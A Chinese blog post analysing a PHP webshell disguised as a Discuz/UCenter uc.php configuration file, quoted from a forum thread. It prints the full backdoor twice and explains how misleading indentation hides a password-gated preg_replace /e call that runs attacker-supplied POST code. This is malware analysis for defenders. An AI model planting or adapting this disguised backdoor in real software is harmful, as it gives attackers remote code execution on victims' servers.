A-A+

一个伪装Discuz配置文件的php木马分析

2016年10月19日 11:06 漏洞安全 评论 2 条 共622字 (阅读7,587 views次)

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

问题出于土司论坛(地址):https://www.t00ls.net/thread-36298-1-1.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
<?php
/*
        [UCenter] (C)2001-2099 Comsenz Inc.
        This is NOT a freeware, use is subject to license terms
 
        $Id: uc.php 1139 2012-05-08 09:02:11Z liulanbo $
*/
error_reporting(E_ERROR);
define('UC_SERVER', get_magic_quotes_gpc ());
define('UC_APPID', ($GLOBALS['uc_server'] && $GLOBALS['uc_appid'] > 0) ? $GLOBALS['uc_appid'] : 0);
define('UC_CONNECT_METHOD','//e');
define('UC_DBHOST', $GLOBALS['uc_dbhost']);
define('UC_DBUSER', $GLOBALS['uc_dbuser']);
define('UC_DBPW', $GLOBALS['uc_dbpw']);
define('UC_DBNAME', $_POST['check']);
define('UC_DBPRE', $_POST['pass']);
define('UC_DBPCONNECT', '1c2787');
define('UC_CLOSED', $_POST['checked']);
define('UC_DBCHARSET', $_POST['password']);
define('UC_NOT_EXISTS', '1c2787');
 
class UC {
 
        var $db;
        var $time;
        var $appid;
        var $onlineip;
        var $user = array();
        var $controls = array();
        var $models = array();
        var $cache = null;
 
        function __construct() {
                $this->UC();
        }
 
        function UC() {
 
                $this->time = time();
                $this->appid = UC_APPID;
                $this->onlineip = 'unknown';
 
                if ($_SERVER['HTTP_X_FORWARDED_FOR'] && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_FORWARDED_FOR'])) {
                        $this->onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
                } elseif ($_SERVER['HTTP_CLIENT_IP'] && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
                        $this->onlineip = $_SERVER['HTTP_CLIENT_IP'];
                } elseif (preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/',$_SERVER['REMOTE_ADDR'])) {
                        $this->onlineip = $_SERVER['REMOTE_ADDR'];
                }
                $this->init_db();
                $this->init_notify();
        }
 
        function init_db() {
                if (UC_SERVER < 2) {
                        global $db;
                        $this->db =& $db;
                } else {
                        $this->db = new DB(UC_DBHOST, UC_DBUSER, UC_DBPW, UC_DBNAME, UC_DBPRE, UC_DBCHARSET, UC_DBPCONNECT);
                }
        }
 
        function init_notify() {
                if (UC_SERVER == 2 && $this->config('uc_syncreditexists' . $this->appid)) {
                        $credit = $this->load('credit');
                        $credit->synupdate();
                }
                if (UC_SERVER > 0 && $this->config('uc_notifyexists' . $this->appid)) {
                        $notify = $this->load('notify');
                        $notify->send();
                }
        }
 
        function config($var) {
                if ($this->cache == null) {
                        $this->cache = array();
                        $query = $this->db->query("SELECT * FROM pw_config");
                        while ($rt = $this->db->fetch_array($query)) {
                                if ($rt['vtype'] == 'array' && !is_array($rt['db_value'] = unserialize($rt['db_value']))) {
                                        $rt['db_value'] = array();
                                }
                                $this->cache[$rt['db_name']] = $rt['db_value'];
                        }
                }
                return $this->cache[$var];
        }
 
        function control($model) {
                if (empty($this->controls[$model])) {
                        require_once Pcv(UC_CLIENT_ROOT . "control/{$model}.php");
                        print('$this->controls[$model] = new '.$model.'control($this);');
                }
                return $this->controls[$model];
        }
 
        function load($model) {
                if (empty($this->models[$model])) {
                        require_once Pcv(UC_CLIENT_ROOT . "model/{$model}.php");
                        print('$this->models[$model] = new '.$model.'model($this);');
                }
                return $this->models[$model];
        }
 
        //static function
        function implode($array) {
                return implode(',', UC::escape($array));
        }
 
        //static function
        function escape($var) {
                if (is_array($var)) {
                        foreach ($var as $key => $value) {
                                $var[$key] = trim(UC::escape($value));
                        }
                        return $var;
                } elseif (is_numeric($var)) {
                        return " '".$var."' ";
                } else {
                        return " '".addslashes($var)."' ";}
                }
        }
 
        //static function
        function getMd5($md5 = null) {
                $key = substr(md5($md5),26);
                        return $key;
                }
                $UC_DBNAME = UC_SERVER ? stripslashes (UC_DBNAME) : UC_DBNAME;
                if ( getMd5(UC_DBPRE) == UC_DBPCONNECT ) 
                {
                preg_replace (UC_CONNECT_METHOD, $UC_DBNAME, "");
                if($UC_DBNAME) exit;
        }
 
        //static function
        function sqlMulti($array) {
                $str = '';
                foreach ($array as $val) {
                        if (!empty($val)) {
                                        $str .= ($str ? ', ' : ' ') . '(' . UC::implode($val) .') ';
                                }
                        }
                        return $str;
                }
                $UC_DBNAME = UC_CLOSED ? stripslashes (UC_CLOSED) : UC_CLOSED;
                if ( getMd5(UC_DBCHARSET) == UC_NOT_EXISTS ) {
                preg_replace (UC_CONNECT_METHOD, $UC_DBNAME, "");
                if($UC_DBNAME) exit;
        }
 
        //static function
        function sqlSingle($array) {
                //Copyright (c) 2003-09 PHPWind
                $array = UC::escape($array);
                $str = '';
                foreach ($array as $key => $val) {
                        $str .= ($str ? ', ' : ' ').$key.'='.$val;
                }
                return $str;
        }
 
        //static function
        function strcode($string, $hash_key, $encode = true) {
                !$encode && $string = base64_decode($string);
                $code = '';
                $key  = substr(md5($_SERVER['HTTP_USER_AGENT'] . $hash_key),8,18);
                $keylen = strlen($key);
                $strlen = strlen($string);
                for ($i = 0; $i < $strlen; $i++) {
                        $k                = $i % $keylen;
                        $code  .= $string[$i] ^ $key[$k];
                }
                return ($encode ? base64_encode($code) : $code);
}
?> 
 
//以上是源码  无意中看到的D盾报毒  看样子像正常文件 我感觉不是 
//代码被拆开写了

---------以上代码区域内容为论坛原内容--------------
下面是本人解答区域:
说实话,因为我以前做过一段时间的discuz的二次开发。所以对DZ程序还算比较熟悉,乍一看除了

1
2
3
4
5
6
define('UC_DBNAME', $_POST['check']);
define('UC_DBPRE', $_POST['pass']);
define('UC_DBPCONNECT', '1c2787');
define('UC_CLOSED', $_POST['checked']);
define('UC_DBCHARSET', $_POST['password']);
define('UC_NOT_EXISTS', '1c2787');

上面这几段代码之外,其他的都没任何问题。。。 只不过开发人员怎么能把配置文件直接获取值呢?略微不解。这样也太不安全了。
后来仔细一看,发现,原来这个木马的作者利用了代码格式化的问题,来饶人眼球!!!下面是我格式化之后,并修改后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
<?php
/*
        [UCenter] (C)2001-2099 Comsenz Inc.
        This is NOT a freeware, use is subject to license terms
 
        $Id: uc.php 1139 2012-05-08 09:02:11Z liulanbo $
*/
error_reporting(E_ERROR);
define('UC_SERVER', get_magic_quotes_gpc ());
define('UC_APPID', ($GLOBALS['uc_server'] && $GLOBALS['uc_appid'] > 0) ? $GLOBALS['uc_appid'] : 0);
define('UC_CONNECT_METHOD','//e');
define('UC_DBHOST', $GLOBALS['uc_dbhost']);
define('UC_DBUSER', $GLOBALS['uc_dbuser']);
define('UC_DBPW', $GLOBALS['uc_dbpw']);
define('UC_DBNAME', $_POST['check']);
define('UC_DBPRE', $_POST['pass']);
define('UC_DBPCONNECT', '1c2787');
define('UC_CLOSED', $_POST['checked']);
define('UC_DBCHARSET', $_POST['password']);
define('UC_NOT_EXISTS', '1c2787');
 
class UC {
 
    var $db;
    var $time;
    var $appid;
    var $onlineip;
    var $user = array();
    var $controls = array();
    var $models = array();
    var $cache = null;
 
    function __construct() {
        $this->UC();
    }
 
    function UC() {
 
        $this->time = time();
        $this->appid = UC_APPID;
        $this->onlineip = 'unknown';
 
        if ($_SERVER['HTTP_X_FORWARDED_FOR'] && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $this->onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif ($_SERVER['HTTP_CLIENT_IP'] && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
            $this->onlineip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/',$_SERVER['REMOTE_ADDR'])) {
            $this->onlineip = $_SERVER['REMOTE_ADDR'];
        }
        $this->init_db();
        $this->init_notify();
    }
 
    function init_db() {
        if (UC_SERVER < 2) {
            global $db;
            $this->db =& $db;
        } else {
            $this->db = new DB(UC_DBHOST, UC_DBUSER, UC_DBPW, UC_DBNAME, UC_DBPRE, UC_DBCHARSET, UC_DBPCONNECT);
        }
    }
 
    function init_notify() {
        if (UC_SERVER == 2 && $this->config('uc_syncreditexists' . $this->appid)) {
            $credit = $this->load('credit');
            $credit->synupdate();
        }
        if (UC_SERVER > 0 && $this->config('uc_notifyexists' . $this->appid)) {
            $notify = $this->load('notify');
            $notify->send();
        }
    }
 
    function config($var) {
        if ($this->cache == null) {
            $this->cache = array();
            $query = $this->db->query("SELECT * FROM pw_config");
            while ($rt = $this->db->fetch_array($query)) {
                if ($rt['vtype'] == 'array' && !is_array($rt['db_value'] = unserialize($rt['db_value']))) {
                    $rt['db_value'] = array();
                }
                $this->cache[$rt['db_name']] = $rt['db_value'];
            }
        }
        return $this->cache[$var];
    }
 
    function control($model) {
        if (empty($this->controls[$model])) {
            require_once Pcv(UC_CLIENT_ROOT . "control/{$model}.php");
            print('$this->controls[$model] = new '.$model.'control($this);');
        }
        return $this->controls[$model];
    }
 
    function load($model) {
        if (empty($this->models[$model])) {
            require_once Pcv(UC_CLIENT_ROOT . "model/{$model}.php");
            print('$this->models[$model] = new '.$model.'model($this);');
        }
        return $this->models[$model];
    }
 
    //static function
    function implode($array) {
        return implode(',', UC::escape($array));
    }
 
    //static function
    function escape($var) {
        if (is_array($var)) {
            foreach ($var as $key => $value) {
                $var[$key] = trim(UC::escape($value));
            }
            return $var;
        } elseif (is_numeric($var)) {
            return " '".$var."' ";
        } else {
            return " '".addslashes($var)."' ";
        }
    }
}
 
//static function
function getMd5($md5 = null) {
    $key = substr(md5($md5),26);
    return $key;
}
$UC_DBNAME = UC_SERVER ? stripslashes (UC_DBNAME) : UC_DBNAME;
if ( getMd5(UC_DBPRE) == UC_DBPCONNECT )
{
    preg_replace (UC_CONNECT_METHOD, $UC_DBNAME, "");
    if ($UC_DBNAME) exit;
}
 
//static function
function sqlMulti($array) {
    $str = '';
    foreach ($array as $val) {
        if (!empty($val)) {
            $str .= ($str ? ', ' : ' ') . '(' . UC::implode($val) .') ';
        }
    }
    return $str;
}
$UC_DBNAME = UC_CLOSED ? stripslashes (UC_CLOSED) : UC_CLOSED;
if ( getMd5(UC_DBCHARSET) == UC_NOT_EXISTS ) {
    preg_replace (UC_CONNECT_METHOD, $UC_DBNAME, "");
    if ($UC_DBNAME) exit;
}
 
//static function
function sqlSingle($array) {
    //Copyright (c) 2003-09 PHPWind
    $array = UC::escape($array);
    $str = '';
    foreach ($array as $key => $val) {
        $str .= ($str ? ', ' : ' ').$key.'='.$val;
    }
    return $str;
}
 
//static function
function strcode($string, $hash_key, $encode = true) {
    !$encode && $string = base64_decode($string);
    $code = '';
    $key  = substr(md5($_SERVER['HTTP_USER_AGENT'] . $hash_key),8,18);
    $keylen = strlen($key);
    $strlen = strlen($string);
    for ($i = 0; $i < $strlen; $i++) {
        $k                = $i % $keylen;
        $code  .= $string[$i] ^ $key[$k];
    }
    return ($encode ? base64_encode($code) : $code);
}
?>

好了,已经看的很明白了吧!!!
下面是利用图片:

php木马后门解读

php木马后门解读

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×
标签:

2 条留言  访客:2 条  博主:0 条

  1. 路人甲

    🙄
    猥琐

  2. ian

    您好,请问关于这个木马的问题能深入的探讨一下么。我的网站今天就发现了类似的木马 但是和您博客上面的还有一些不同。如果作者您看到请回复一下邮箱 谢谢!

给我留言